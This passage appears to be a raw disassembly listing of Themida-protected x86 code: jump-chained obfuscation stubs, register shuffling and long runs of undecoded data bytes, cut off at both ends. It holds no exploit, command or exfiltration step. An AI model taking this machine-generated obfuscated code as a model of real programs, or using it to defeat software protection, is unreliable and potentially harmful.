0C3815B20h dd 99FF3CBh, 9DD4E9h db 0 ; --------------------------------------------------------------------------- loc_550209: ; CODE XREF: Themida_:00552E4Dj xchg esi, [esp] pop esp add eax, 49CC3272h add eax, ebx sub eax, 49CC3272h push dword ptr [esp] pop ebx add esp, 4 push edi push esi jmp loc_5597A6 ; --------------------------------------------------------------------------- a1Zs9 db '1ÓZé9)',0 db 0 ; --------------------------------------------------------------------------- loc_55022F: ; CODE XREF: Themida_:00556532j mov ebx, ecx jmp loc_54FBCC ; --------------------------------------------------------------------------- aISvl db '‰$$é‚‹',0 align 2 dw 0C581h dd 137E53B1h, 0DA66F581h, 0EA296048h, 0E957515Dh, 10B36h ; --------------------------------------------------------------------------- loc_550254: ; CODE XREF: Themida_:0055D976j mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_54F000 ; --------------------------------------------------------------------------- loc_550265: ; CODE XREF: Themida_:0054E5FEj add dword ptr [esp+4], 7E346ED4h jmp loc_559D55 ; --------------------------------------------------------------------------- loc_550272: ; CODE XREF: Themida_:0054F399j push 0D8Fh mov [esp], esi jmp loc_5597D5 ; --------------------------------------------------------------------------- db 9 dd 81435EF3h, 74B761EBh, 0E9DA0995h, 5C30h, 5C241C87h dd 24AAE9h, 0C8C6800h, 0C890000h, 50E18924h, 0F810B8B8h dd 56DE961h, 248B0001h, 48F5424h, 24048124h, 4, 5624048Fh dd 4BEh, 0E79DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5502CA: ; CODE XREF: Themida_:00558224j xor [esp], edi jmp loc_559BCB ; --------------------------------------------------------------------------- loc_5502D2: ; CODE XREF: Themida_:005609AFj add ebx, 747923D3h sub ebx, 7D1F7F32h mov esi, [esp] push 5903h jmp loc_554916 ; --------------------------------------------------------------------------- aDTH db '¿d`â~h',0 align 4 dd 0AC5BE900h, 814E0000h, 0D42305C6h, 5EF70171h, 52E9DFF7h dd 81FFFFF7h, 0ED5BD0F6h, 5DBA526Fh, 0E95C6B78h, 0F2B8h ; --------------------------------------------------------------------------- loc_55031C: ; CODE XREF: Themida_:00552E06j sub esp, 4 mov [esp], esi jmp loc_553827 ; --------------------------------------------------------------------------- loc_550327: ; CODE XREF: Themida_:0054F090j pop esp jmp loc_55562F ; --------------------------------------------------------------------------- db 57h, 0E9h, 3 dd 0BB000056h, 0 dd 0D989CB29h, 0C1D1F75Bh, 0E98105E1h, 0FFE7B262h, 0E959CA01h dd 0FFFFF666h, 22B168h, 24148900h, 0F03126BAh, 5AD0294Fh dd 0A605E9h, 0DA5BE900h, 0CF80FFFFh, 80CFFE04h, 0FA20CDF7h dd 0E951665Bh, 0FFFFEB74h ; --------------------------------------------------------------------------- loc_55037C: ; CODE XREF: Themida_:0055EE5Cj xor dword ptr [esp], 615E3795h pop esi xor esi, 615E3795h mov eax, esi pop esi jmp loc_5581CE ; --------------------------------------------------------------------------- loc_550392: ; CODE XREF: Themida_:0055973Dj sub ecx, 4 xor ecx, [esp] jmp loc_55E665 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHs db '$h˜',8,0 align 2 dw 1489h dd 56E28924h, 4BEh, 59B85000h, 0E934165Eh, 8578h, 0EA81EA01h dd 5F168A2h, 56242C8Bh, 0C681E689h, 4, 4B951h, 0CE010000h dd 24348759h, 7A23E95Ch, 34890000h, 0E9E68924h, 0BB47h dd 9D1C77FFh, 14D25966h, 0CAE99C24h, 2DFFFFD9h, 0EC0DF463h dd 0D9EDE9h db 0 ; --------------------------------------------------------------------------- loc_550405: ; CODE XREF: Themida_:0055B1C2j and eax, esi mov esi, [esp] add esp, 4 or eax, eax jz loc_55F2A7 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx push ebx jmp loc_55D79C ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0EA6CA168h, 0BB685B76h, 581F584Eh, 1C8BD831h, 4C48324h dd 5607E0C1h, 0BA4FD1BEh, 5EF02174h, 0D241825h, 0D043E96Eh dd 8B660000h, 7068240Ch, 89000060h, 0E0892404h, 507FBB53h dd 0AAE97FF4h, 81FFFFF8h, 4C2h, 4C28100h, 0E9000000h, 55C5h ; --------------------------------------------------------------------------- loc_55047C: ; CODE XREF: Themida_:005608EBj xor eax, ebp jmp loc_55E6E1 ; --------------------------------------------------------------------------- db 66h dd 348BF001h, 4C48324h, 66C50166h, 2434FF58h, 0A55CE9h db 0 ; --------------------------------------------------------------------------- loc_550499: ; CODE XREF: Themida_:00554E77j push dword ptr [esp+4] pop edx jmp loc_54E799 ; --------------------------------------------------------------------------- db 58h dd 0FFE462E9h, 81EA01FFh, 0DA5C9EC2h, 242C8B1Ah, 8304C483h dd 0A06804C2h, 8900000Fh, 74FF2414h, 34FF0424h, 0C4835A24h dd 24048F04h, 0E924248Bh, 107B1h ; --------------------------------------------------------------------------- loc_5504D8: ; CODE XREF: Themida_:0056214Dj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp add esp, 4 jmp loc_559BB3 ; --------------------------------------------------------------------------- loc_5504EA: ; CODE XREF: Themida_:0055EDE8j and ebp, 0CDD222Dh xor ebp, 3D163692h jmp loc_55A5E4 ; --------------------------------------------------------------------------- db 29h dd 24048BC2h, 8104C483h, 2219D8C2h, 0D8B7E91Fh, 0F66FFFFh dd 6866C8BEh, 896623A2h, 0A6E9240Ch, 8BFFFFD8h, 8957241Ch dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 8124248Bh, 4C3h dd 55BD5500h, 0C150A472h, 0E58106E5h, 2DBA33E1h, 113EED81h dd 0D6E92918h, 0C100007Ah, 0C98105E9h, 73AE3F44h, 0AA77E981h dd 0CA01460Fh, 5AD62959h, 1753C681h, 14E92697h, 5F000102h dd 672C68h, 240C8900h, 4B9h, 59CF0100h, 4C781h, 3C870000h dd 24248B24h, 1139BE9h, 25CE8100h, 8145CB4Bh, 0FFFB7BEEh dd 0E9F101FDh, 10230h ; --------------------------------------------------------------------------- loc_5505AC: ; CODE XREF: Themida_:00559372j mov ebp, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_55CB66 ; --------------------------------------------------------------------------- loc_5505BD: ; CODE XREF: Themida_:00553A6Bj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 6428538Dh add ebp, 0D6117E4h mov edi, ebp jmp loc_561344 ; --------------------------------------------------------------------------- db 66h, 81h, 0F2h dd 966CEBBh, 81665AD5h, 66192CF5h, 4DFAEB81h, 4DC38166h dd 0EB29663Eh, 4DEB8166h, 0C381663Eh, 0C4E94DFAh, 81FFFFF2h dd 325800C3h, 81FB010Fh, 325800EBh, 75BE560Fh, 296CB428h dd 3C8B5EF3h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 4B8505Ch, 81000000h, 2C4653C3h, 89EB813Bh, 144CB21h dd 0C617E9C3h, 0B9510000h, 212D6B64h, 8159CE89h, 232EC8F6h dd 81D6F767h, 2557DECEh, 0E9D6F77Fh, 37F8h, 665BDD30h dd 819B353h, 1C8B66DDh, 2C48324h, 8072ED80h, 0CD8064F5h dd 0E1B050C7h, 420CC0FEh, 9350E9h, 81F50100h, 0F94807EDh dd 24348B14h, 6101E9h, 8B5B5000h, 0C4832404h, 8BDF0104h dd 5DE9241Ch db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5506B3: ; CODE XREF: Themida_:00551086j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55EDD3 ; --------------------------------------------------------------------------- dw 0EA31h dd 4EC815Dh, 0E9000000h, 0FFFFEDC3h, 536E63BEh, 0C00BE91Eh dd 3C8B0000h, 4C48124h, 0E9000000h, 8450h, 33241431h, 0D4E92414h dd 81FFFFE5h, 0A68736EFh, 5FFE89C0h, 158AEE81h, 0F30128C0h dd 8124348Bh, 4C4h, 241C8700h, 0FF24248Bh, 0D6A7E930h dd 0EA81FFFFh, 1FDE1A7Dh, 0C281EA01h, 1FDE1A7Dh, 639C281h dd 835D6E5Bh, 148904ECh, 34FF5E24h, 0C4835A24h, 24743104h dd 0D1E95E04h, 81FFFFF4h, 0AAF6CDEAh, 81525071h, 3B1D2434h dd 355845D3h, 45D33B1Dh, 5A58C789h, 0E959CF01h, 7958h dd 53525A5Ah, 810FA668h, 585DE91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55077A: ; CODE XREF: Themida_:00554E57j push ebp push 292C4A5Fh pop ebp shl ebp, 2 add ebp, 25A14F60h xor ebp, 0DF945C8h push ecx mov ecx, 806F2D44h xor ebp, ecx jmp loc_55552D ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 57E90000h, 89000087h, 0ECB82404h, 50C98DF4h, 0A2242C81h dd 8B3F2E1Eh, 0C483242Ch, 11BA5204h, 0C162BA17h, 60E905EAh dd 830000B7h, 8F5404ECh, 4812404h, 424h, 2434FF00h, 4C4835Bh dd 0D86E9h, 4C78100h, 83000000h, 3C3304C7h, 0F8DFE924h dd 565A0000h, 7863A6BEh, 0FDF68116h, 0E926E92Ah, 7356h dd 535EF101h, 0D31B46BBh, 2CC78159h, 12A6A62h, 2CEF81DFh dd 8B2A6A62h, 0C483241Ch, 53CF0104h, 5C70E9h, 0D0295800h dd 5724148Bh, 0E956E789h, 1CD7h, 5303E2C1h, 0E81D0CBBh dd 2C7E979h, 0EB810001h, 0E70173Fh, 54FBC381h, 0C3817D28h dd 6CEE5543h, 8957C301h, 68EEE9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550866: ; CODE XREF: Themida_:0055FD96j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push 4 pop ecx sub eax, ecx pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5573D8 ; --------------------------------------------------------------------------- dd 6186C281h, 0C2816BC7h, 0B191AE9Fh, 148BD601h, 359FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5508A6: ; CODE XREF: Themida_:0055E27Bj pop edx xor ebx, ebp jmp loc_55E2CB ; --------------------------------------------------------------------------- dw 487h dd 3C895C24h, 1329E924h, 0ED810000h, 0FF2A03h, 0A752E9h db 0 ; --------------------------------------------------------------------------- loc_5508C5: ; CODE XREF: Themida_:0055949Aj mov [esp], eax mov eax, 4 jmp loc_55E0E5 ; --------------------------------------------------------------------------- loc_5508D2: ; CODE XREF: Themida_:005558C9j add esp, 4 xchg eax, ebx neg ebx xchg eax, ebx add eax, 53690287h push ebx mov ebx, 1FFB4106h sub edx, ebx pop ebx add edx, eax jmp loc_55FDDC ; --------------------------------------------------------------------------- dw 1C31h dd 241C3324h, 0BC40E9h db 0 ; --------------------------------------------------------------------------- loc_5508F9: ; CODE XREF: Themida_:005560EAj xor [esp], eax sub esp, 4 mov [esp], eax sub esp, 4 jmp loc_550913 ; --------------------------------------------------------------------------- loc_55090D: ; CODE XREF: Themida_:005522C5j push esi jmp loc_54EA30 ; --------------------------------------------------------------------------- loc_550913: ; CODE XREF: Themida_:00550908j mov [esp], edi pop eax jmp loc_554442 ; --------------------------------------------------------------------------- dd 4BAh, 5AD30100h, 0AEB0E9h, 0D0E95800h, 8100000Ch, 2C7B57C2h dd 81D2F758h, 0DCEE11F2h, 8BD1898Eh, 0C4832414h, 0E579E904h dd 0D0290000h, 257B7305h, 4EC812Eh, 0E9000000h, 855h, 68D830ACh dd 7353h, 0E9243489h, 0E370h ; --------------------------------------------------------------------------- loc_55096C: ; CODE XREF: Themida_:00555635j xor esi, [esp] mov esp, [esp] movzx cx, al push 4CE5h mov [esp], ebx push 6D4Dh push esp jmp loc_55BD95 ; --------------------------------------------------------------------------- loc_550989: ; CODE XREF: Themida_:005544A8j push dword ptr [esp] jmp loc_55FEDF ; --------------------------------------------------------------------------- loc_550991: ; CODE XREF: Themida_:0055E19Dj push edi jmp loc_554F3C ; --------------------------------------------------------------------------- db 5Eh dd 53E9F501h, 8A000094h, 0C4832414h, 0F7C28002h, 148BD130h dd 4C48324h, 36BAE9h, 4C48100h, 81000000h, 4C1h, 4BD5500h dd 1000000h, 0FF515DE9h, 59042474h, 0B028E9h db 0 ; --------------------------------------------------------------------------- loc_5509D5: ; CODE XREF: Themida_:0054E2AFj push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_551A60 ; --------------------------------------------------------------------------- dw 0D9F6h dd 9356E9h db 0 ; --------------------------------------------------------------------------- loc_5509E9: ; CODE XREF: Themida_:0055B357j pop eax dec ebp add ebp, 0C3B6F699h push ebp sub dword ptr [esp], 609E72E3h jmp loc_54E32F ; --------------------------------------------------------------------------- dw 34FFh dd 0E9575E24h, 0F414h ; --------------------------------------------------------------------------- loc_550A08: ; CODE XREF: Themida_:0055DDC4j mov [esp], edi push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_54E468 ; --------------------------------------------------------------------------- loc_550A1B: ; CODE XREF: Themida_:0055D7C1j push eax jmp loc_55D73C ; --------------------------------------------------------------------------- dd offset dword_5AB468 align 2 dw 3489h dd 0F15BE24h, 0F789400Fh, 0E9F8295Eh, 4C02h, 15DEA89h dd 0D3295BDAh, 81E9E9h, 87D5F700h, 0B9BE56EAh, 4E1C0D19h dd 7E1C681h, 0F231E04Eh, 0C8ED815Eh, 17D0239h, 0C8C581D5h dd 5A7D0239h, 4B850h, 0C5010000h, 11067E9h db 0 ; --------------------------------------------------------------------------- loc_550A75: ; CODE XREF: Themida_:0055691Fj mov edx, ebx jmp loc_54FFFE ; --------------------------------------------------------------------------- dd 4C381h, 0EB810000h, 4, 5C241C87h, 0F7241C89h, 0E95B2414h dd 66CDh, 240CD366h, 5458E99Ch, 0E9560000h, 1071Dh, 243C8759h dd 2024248Bh, 0E99C2404h, 0C443h ; --------------------------------------------------------------------------- loc_550AB8: ; CODE XREF: Themida_:00560E0Ej neg eax push edx mov edx, 2B214FF6h sub eax, edx pop edx mov edx, eax mov eax, [esp] add esp, 4 push 77C1h mov [esp], ebx jmp loc_55650A ; --------------------------------------------------------------------------- db 29h dd 46C681FEh, 0E90FA272h, 0B158h, 4C481h, 12680000h, 0E9000008h dd 1C41h ; --------------------------------------------------------------------------- loc_550AF8: ; CODE XREF: Themida_:00553D46j sub edx, 790912C9h push 603Ah jmp loc_55A3C7 ; --------------------------------------------------------------------------- loc_550B08: ; CODE XREF: Themida_:00555578j pop ebx pop ebp or ebx, 1ADF13DFh push esi jmp loc_5596FA ; --------------------------------------------------------------------------- loc_550B16: ; CODE XREF: Themida_:00550C8Ej push dword ptr [esp] pop esi push 4C0Bh mov [esp], edi push esp jmp loc_558E11 ; --------------------------------------------------------------------------- loc_550B28: ; CODE XREF: Themida_:00551134j sub edi, 7F47B1C8h jmp loc_55B25E ; --------------------------------------------------------------------------- db 35h dd 2C700ED6h, 9C58E9h, 0FFE95900h, 89000053h, 74FF2434h dd 8F5E0424h, 665C2404h, 83240C8Bh, 0F6E904ECh db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550B5B: ; CODE XREF: Themida_:00557315j add ecx, esi pop esi jmp loc_552F00 ; --------------------------------------------------------------------------- db 0C1h dd 0EC8304E7h, 24348904h, 0D31B26BEh, 8D8E949h, 4310001h dd 24043324h, 11546E9h, 4B95100h, 29000000h, 348759CEh dd 24895C24h, 24048124h, 4, 8BEAE9h, 24143300h, 33241431h dd 248B2414h, 0F53BE924h, 28F0000h, 0FFD210E9h, 0E9D8F7FFh dd 0ECFh, 405E089h, 55000000h, 4D4AB951h, 0E9C1759Ch, 7DDBE904h dd 3C8B0000h, 0D379E924h, 0E589FFFFh, 4C581h, 80E90000h dd 0D1000023h, 5516E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550BEE: ; CODE XREF: Themida_:0055399Fj mov edi, ecx pop ecx pop eax jmp loc_5536BF ; --------------------------------------------------------------------------- db 58h dd 4245401h, 4244481h, 35632B5Fh, 2404015Ah, 16E968h, 24048900h dd 0A771C268h, 44295855h, 48B0424h, 0D94BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C22: ; CODE XREF: Themida_:0054EBE7j xor dword ptr [esp], 5F53067h pop esi xor esi, 5F53067h jmp loc_551112 ; --------------------------------------------------------------------------- db 5Fh, 87h, 4 aSU db '$éË“',0 align 2 loc_550C3E: ; CODE XREF: Themida_:0055BC30j pop ebp add ecx, 4 xchg ecx, [esp] pop esp push edx push 69F36673h pop edx and edx, 6B811055h shr edx, 4 shr edx, 6 push esi mov esi, 32E30261h push ebp mov ebp, 684257h shr ebp, 4 sub ebp, 1 inc ebp neg ebp inc ebp push esi mov esi, 1A605FEEh inc esi jmp loc_55B9A4 ; --------------------------------------------------------------------------- loc_550C81: ; CODE XREF: Themida_:0055458Cj xor ch, 7Ch sub al, 0A1h jmp loc_557CBB ; --------------------------------------------------------------------------- loc_550C8B: ; CODE XREF: Themida_:0055E2C6j pop esp and eax, esi jmp loc_550B16 ; --------------------------------------------------------------------------- dd offset dword_54C43C+44h db 0E3h dd 11144E9h, 5AE9BE00h, 0F73144A7h, 0E9F9295Eh, 6ABEh dd 4BBh, 0C0ED8100h, 114C90Dh, 0C0C581DDh, 0E914C90Dh dd 0AB36h, 4B850h, 44010000h, 0D5E90424h, 33000079h, 248B242Ch dd 0C8B70F24h, 403468h, 240C8900h, 0DD45E9h, 53CB8900h dd 0CFCB850h, 44013895h, 5D580424h, 0D69E9h db 0 ; --------------------------------------------------------------------------- loc_550CFD: ; CODE XREF: Themida_:00560F6Bj push esi push edi mov edi, 28E3CB9h jmp loc_55CF09 ; --------------------------------------------------------------------------- loc_550D09: ; CODE XREF: Themida_:0055C8CBj push ecx mov ecx, 76116E90h xor eax, ecx pop ecx push eax sub dword ptr [esp], 7BB252A3h jmp loc_560FD6 ; --------------------------------------------------------------------------- db 1 dd 24348BF0h, 6804C483h, 1C5Bh, 0FA1E9h, 574BF00h, 0C783678Bh dd 0C3C78101h, 29FFC054h, 0E8BCE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550D46: ; CODE XREF: Themida_:0055F3F6j xor ebp, edx pop edx xor edx, ebp jmp loc_54EDBB ; --------------------------------------------------------------------------- dd 8904EC83h, 0E389241Ch, 4C381h, 0BE560000h, 4, 0AEE9F329h dd 57FFFFD9h, 924D0168h, 6EE95F41h, 5C000100h, 24048F54h dd 0E945E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D82: ; CODE XREF: Themida_:00550EE9j mov esp, [esp] mov [esp], edx push eax pushf jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_550D8F: ; CODE XREF: Themida_:005562E8j mov [esp], edi push 27DFh mov [esp], eax mov eax, 4A413247h push edi mov edi, 6F4D7107h sub eax, edi jmp loc_55662E ; --------------------------------------------------------------------------- dd 83243C8Bh, 0E95604C4h, 7429h ; --------------------------------------------------------------------------- loc_550DB8: ; CODE XREF: Themida_:00550E0Dj mov bh, 15h and cl, bh pop bx shl cl, 1 sub cl, 28h sub bl, cl pop ecx sub bl, al push 28EFh jmp loc_5526B9 ; --------------------------------------------------------------------------- loc_550DD2: ; CODE XREF: Themida_:00555FB7j not ebx push esi mov esi, 1B394CA5h or ebx, esi pop esi push 0 sub [esp], ebx mov ebx, [esp] add esp, 4 push ecx mov ecx, 3A99346Fh sub ecx, 28C118AAh jmp loc_56136F ; --------------------------------------------------------------------------- db 53h dd 10C60E9h db 0 ; --------------------------------------------------------------------------- loc_550E05: ; CODE XREF: Themida_:0054DF96j push ecx mov cl, 6Dh xor cl, 89h push bx jmp loc_550DB8 ; --------------------------------------------------------------------------- loc_550E12: ; CODE XREF: Themida_:00554142j mov esp, [esp] jmp loc_5536D8 ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFFD2D6h, 0A310E95Ch, 0C4830000h, 17B16804h, 34890000h dd 34FF5424h, 0E9555E24h, 3310h, 305468h, 241C8900h, 4BBh dd 0E9DD0100h, 5947h ; --------------------------------------------------------------------------- loc_550E50: ; CODE XREF: Themida_:00560A25j add esp, 4 mov edx, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5586DB ; --------------------------------------------------------------------------- loc_550E6F: ; CODE XREF: Themida_:0055B9C5j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5535C9 ; --------------------------------------------------------------------------- dw 535Ch dd 0E78033B7h, 80C7FE93h, 0F780AEF7h, 0E9FC004Dh, 5B93h dd 7DF4B850h, 0EA813C3Ah, 2C9F09A1h, 0C281C201h, 2C9F09A1h dd 4EC8358h, 0BF243C89h, 3BF42BB8h, 0E95FFA09h, 7A4Ah dd 0E905EFC0h, 0F133h ; --------------------------------------------------------------------------- loc_550EC8: ; CODE XREF: Themida_:00556EDBj pop ebx add eax, 4 xchg eax, [esp] pop esp push esi mov esi, 758F4786h jmp loc_5559E1 ; --------------------------------------------------------------------------- db 0BAh dd 7010974h, 0E344E9h db 0 ; --------------------------------------------------------------------------- loc_550EE5: ; CODE XREF: Themida_:0054EEBAj pop ebp pop dword ptr [esp] jmp loc_550D82 ; --------------------------------------------------------------------------- loc_550EEE: ; CODE XREF: Themida_:0055530Cj push eax push dword ptr [esp+4] jmp loc_55C2D5 ; --------------------------------------------------------------------------- dd 80BAB252h, 0D02891F2h, 2054E95Ah, 74010000h, 57E90424h dd 10000C8h, 0DEA81FAh, 5F3A4010h, 690CBF57h, 6E910ABh dd 400001Bh, 0E9AB04BFh, 10BD8h, 177E981h, 0D1011165h dd 177C181h, 56E91165h, 25000106h, 61847921h, 39A56852h dd 95A3039h, 24148BD0h, 0E904C483h, 3D7Eh, 642886B4h, 0CE90424h dd 8100005Ch, 8B1C9EF7h, 5F515777h, 87D1F759h, 70868CFh dd 3C890000h, 2414F724h, 53243C8Bh, 0C381E389h, 4, 4C381h dd 84E90000h db 0D8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550F93: ; CODE XREF: Themida_:0055F209j mov [esp], edx mov edx, 680B56C8h jmp loc_559673 ; --------------------------------------------------------------------------- aAams0z db '€íMé0z',0 align 4 dd 4C781h, 0EF830000h, 8369E904h, 3C890000h, 0A720E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550FBE: ; CODE XREF: Themida_:00559360j push ebp mov ebp, 45F13AF7h not ebp push 4CA0h mov [esp], ebx jmp loc_558898 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 82CBE900h, 44810000h, 581D0424h, 6C813187h, 0ACF0424h dd 6C292442h, 44810424h, 0ACF0424h, 0E9512442h, 0FFFFDE59h dd 3547992Dh, 0A7B9513Dh, 52119916h, 8D6255BAh, 5E2C12Dh dd 2C38BD55h, 814D2BA2h, 0E30AF3C5h, 73F58152h, 31200653h dd 0D1315DEAh, 8124148Bh, 4C4h, 140B0500h, 0C829364Bh dd 4B140B2Dh, 0C46AE936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551046: ; CODE XREF: Themida_:0054FF47j or ebx, ebx jnz loc_554BD2 push 5372h mov [esp], edx pop dword ptr [edi+20h] jmp loc_55F7B0 ; --------------------------------------------------------------------------- loc_55105E: ; CODE XREF: Themida_:0054FCB4j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_556919 ; --------------------------------------------------------------------------- loc_551072: ; CODE XREF: Themida_:0055179Aj and edi, 248179DBh sub edi, 0FA571731h push eax mov eax, edi mov ebx, eax pop eax pop edi push ebp jmp loc_5506B3 ; --------------------------------------------------------------------------- db 1 dd 0FF082454h, 525A2434h, 0F75CE954h, 0F581FFFFh, 6CA53572h dd 505DEF31h, 0EB2886B8h, 0D8F7486Ah, 4DE9D8F7h, 5A00000Dh dd 0E9243C87h, 4FF5h, 815FFA29h, 0D93EA3CAh, 0B2BE5662h dd 816C5366h, 0AF5B52EAh, 81F20171h, 0AF5B52C2h, 24348B71h dd 4C481h, 8AE90000h db 0D7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5510E7: ; CODE XREF: Themida_:005588C6j pop eax jmp loc_5619F1 ; --------------------------------------------------------------------------- db 80h, 0C7h, 28h dd 685BF930h, 6564h, 52240489h, 0D5E9CE88h, 66000063h dd 57240C8Bh, 55525F54h, 46FBE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551112: ; CODE XREF: Themida_:00550C30j mov ebp, [esp] add esp, 4 jmp loc_55E3B4 ; --------------------------------------------------------------------------- db 54h, 5Fh, 68h dd 1FFDh, 0E9243489h, 11503h ; --------------------------------------------------------------------------- loc_55112C: ; CODE XREF: Themida_:005575F5j and edi, 5BAD26D9h not edi jmp loc_550B28 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0E95B0000h, 0B728h, 0FE59EC08h, 0FECC80C4h dd 0FFFB3EE9h, 0E9C188FFh, 73C3h ; --------------------------------------------------------------------------- loc_55115C: ; CODE XREF: Themida_:005597D0j push ecx mov ecx, 0FEA6D7Dh xor edx, ecx jmp loc_553D45 ; --------------------------------------------------------------------------- db 81h, 0C6h, 22h dd 89A061DFh, 24348BF3h, 0F8F9E9h, 0C3BB5A00h, 0E97FB07Eh dd 0FFFFF0A3h, 0E92434FFh, 0DE9Dh ; --------------------------------------------------------------------------- loc_55118C: ; CODE XREF: Themida_:00557438j xor ecx, [esp] mov esp, [esp] mov [esp], ax jmp loc_54DDC5 ; --------------------------------------------------------------------------- aTxssvr db 'TXSév',0 dw 8000h dd 0B753FFC1h, 5BF9282Dh, 8D5AE9h, 242C8900h, 0F816E9h dd 0BB535700h, 2F575523h, 1DE9DF89h db 12h, 1, 0 ; --------------------------------------------------------------------------- loc_5511C7: ; CODE XREF: Themida_:0054F45Dj shl edx, 3 add edx, 6F585359h xor edx, 1E286FC8h mov ebp, edx pop edx jmp loc_5517CB ; --------------------------------------------------------------------------- loc_5511DE: ; CODE XREF: Themida_:0055148Fj ; Themida_:00560D85j push edx mov edx, ebx jmp loc_55E6AB ; --------------------------------------------------------------------------- dw 0F129h dd 44F1C181h, 34FF74B4h, 0C4815E24h, 4, 0C8BCA31h, 0ACFCE924h dd 3C8B0000h, 0D6AAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55120A: ; CODE XREF: Themida_:0055FAECj pop edx xor edi, ecx pop ecx or edi, 0D7B30DCh jmp loc_55BC4B ; --------------------------------------------------------------------------- loc_551219: ; CODE XREF: Themida_:0055C9DEj sub ecx, 337AA628h xor ebx, ecx pop ecx add esi, ebx pop ebx xor esi, [esp] jmp loc_561606 ; --------------------------------------------------------------------------- db 5Fh, 81h, 6Ch dd 4CDE0424h, 440112C6h, 17E90424h, 500000E8h, 19685253h dd 0E9225B6Eh, 0FFFFFF2Dh, 238BC281h, 34FF0AB1h, 0E80E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55125A: ; CODE XREF: Themida_:0055D797j push ecx mov ecx, esp jmp loc_552560 ; --------------------------------------------------------------------------- dw 3305h dd 0E959BA3Eh, 0CDBh, 0FFC0B60Fh, 4EE98734h, 81FFFFCBh dd 0E43C6EF2h, 5EAC121h, 0A8E9DAF7h, 5EFFFFF6h, 4C481h dd 0C4810000h, 4, 47685052h, 58548D0Fh, 8D0F4335h, 58C28954h dd 148BD601h, 4C48324h, 0BF575157h, 7920485Ah, 0F5E4F8B9h dd 89E981FBh, 17E484Ah, 89C181F9h, 5F7E484Ah, 0F1814149h dd 0B6555DAh, 1FC6E9h db 0 ; --------------------------------------------------------------------------- loc_5512D5: ; CODE XREF: Themida_:00556449j add ecx, 70F97051h mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55D855 ; --------------------------------------------------------------------------- loc_551304: ; CODE XREF: Themida_:0055FF9Dj push 0A2560DDh mov esi, [esp] add esp, 4 push edi push 0F5DA9F4Bh jmp loc_55D845 ; --------------------------------------------------------------------------- loc_55131A: ; CODE XREF: Themida_:0054EA77j add ecx, 13D41736h add ecx, eax push esi mov esi, 57CF456Fh or esi, 4FAF0341h shr esi, 7 neg esi jmp loc_5572AB ; --------------------------------------------------------------------------- dd 241C895Ch, 0FFF96BE9h, 0BB5352FFh, 7569283Bh, 6804EBC1h dd 0 dd 0E9241C29h, 191Eh, 83242C8Bh, 0E95704C4h, 0D12Eh, 105C281h dd 0D0891406h, 7437685Ah, 0C890000h, 81E18924h, 4C1h, 4E98300h dd 31240C33h, 0C33240Ch, 24248B24h, 0BA241489h, 40521AE8h dd 6DECE281h, 0EA81576Ch, 487619B1h, 8CE9DAF7h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5513A7: ; CODE XREF: Themida_:0055DA0Aj mov ch, al jmp loc_553CDD ; --------------------------------------------------------------------------- dw 8157h dd 4ECh, 24248900h, 6B02E9h, 7E6C100h, 0F84FE9h, 243C8B00h dd 4C481h, 0FFBB0000h, 8138271Dh, 37095FC3h, 81EB015Eh dd 37095FEBh, 0D8015D5Eh, 68D8295Bh, 50EFh, 68240C89h dd 128D76AFh, 4EE98159h, 0F7681F6Ah, 7BF181D9h, 2937ABD9h dd 8FE959C8h db 0D7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55140B: ; CODE XREF: Themida_:0055C799j add eax, 4 xchg eax, [esp] mov esp, [esp] or eax, eax jz loc_554877 sub esp, 4 jmp loc_55FF99 ; --------------------------------------------------------------------------- dd 53240C89h, 43B368h, 24048900h, 0CC4AE4B8h, 0CEEB2D38h dd 0C389D92Fh, 8324048Bh, 0F75304C4h, 66E92414h, 8F0000B1h dd 248B2404h, 0B30F6624h, 0E99C2404h, 0FFFFC969h, 51CB8143h dd 4B09177Fh, 8026C381h, 0C681F400h, 2A36320Dh, 